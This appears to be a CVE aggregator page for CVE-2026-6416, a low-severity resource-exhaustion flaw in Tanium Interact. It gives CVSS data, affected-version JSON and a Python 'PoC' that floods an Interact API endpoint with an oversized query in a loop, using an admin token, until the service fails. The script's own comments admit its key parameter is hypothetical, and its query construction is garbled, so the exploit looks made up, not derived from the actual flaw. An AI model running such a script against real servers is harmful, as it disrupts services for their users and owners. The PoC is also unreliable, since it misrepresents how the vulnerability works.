Security Vulnerability Report
中文
CVE-2026-6416 CVSS 2.7 LOW

CVE-2026-6416

Published: 2026-04-22 03:16:02
Last Modified: 2026-05-06 18:38:18
Source: 3938794e-25f5-4123-a1ba-5cbd7f104512

Description

Tanium addressed an uncontrolled resource consumption vulnerability in Interact.

CVSS Details

CVSS Score
2.7
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:tanium:interact:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:tanium:interact:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:tanium:interact:*:*:*:*:*:*:*:* - VULNERABLE
Tanium Interact < 修复版本 (具体版本号请参考厂商公告 TAN-2026-010)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # PoC for CVE-2026-6416: Tanium Interact Resource Consumption import requests import time def exploit(target_url, auth_token): headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json" } # Malicious payload designed to trigger uncontrolled resource consumption # This simulates a heavy query or complex operation that the server fails to limit payload = { "query": "SELECT * FROM system WHERE 1=1; ".join([str(i) for i in range(10000)]), "options": { "timeout": -1 } # Hypothetical parameter to disable timeout } print(f"[+] Sending payload to {target_url}...") try: while True: # Sending requests in a loop to exhaust resources response = requests.post(target_url, json=payload, headers=headers) print(f"[+] Status: {response.status_code}") if response.status_code == 503: print("[!] Service Unavailable - DoS likely triggered.") break time.sleep(0.1) except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Replace with actual target and valid high-privilege token # This PoC requires High Privileges (PR:H) as per CVSS vector exploit("https://tanium-server/api/interact", "<ADMIN_TOKEN>")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-6416", "sourceIdentifier": "3938794e-25f5-4123-a1ba-5cbd7f104512", "published": "2026-04-22T03:16:01.643", "lastModified": "2026-05-06T18:38:17.777", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tanium addressed an uncontrolled resource consumption vulnerability in Interact."}], "metrics": {"cvssMetricV31": [{"source": "3938794e-25f5-4123-a1ba-5cbd7f104512", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:L", "baseScore": 2.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.2, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "3938794e-25f5-4123-a1ba-5cbd7f104512", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:tanium:interact:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.2.0", "versionEndExcluding": "3.2.202", "matchCriteriaId": "933FD5D0-DA5F-4CE1-A367-D2E3A2690C51"}, {"vulnerable": true, "criteria": "cpe:2.3:a:tanium:interact:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.5.0", "versionEndExcluding": "3.5.108", "matchCriteriaId": "230312E3-7CAF-4CC7-A2ED-AD43993955A9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:tanium:interact:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.8.0", "versionEndExcluding": "3.8.47", "matchCriteriaId": "13988C7C-4A18-4490-B4B4-E65519A4E10C"}]}]}], "references": [{"url": "https://security.tanium.com/TAN-2026-010", "source": "3938794e-25f5-4123-a1ba-5cbd7f104512", "tags": ["Vendor Advisory"]}]}}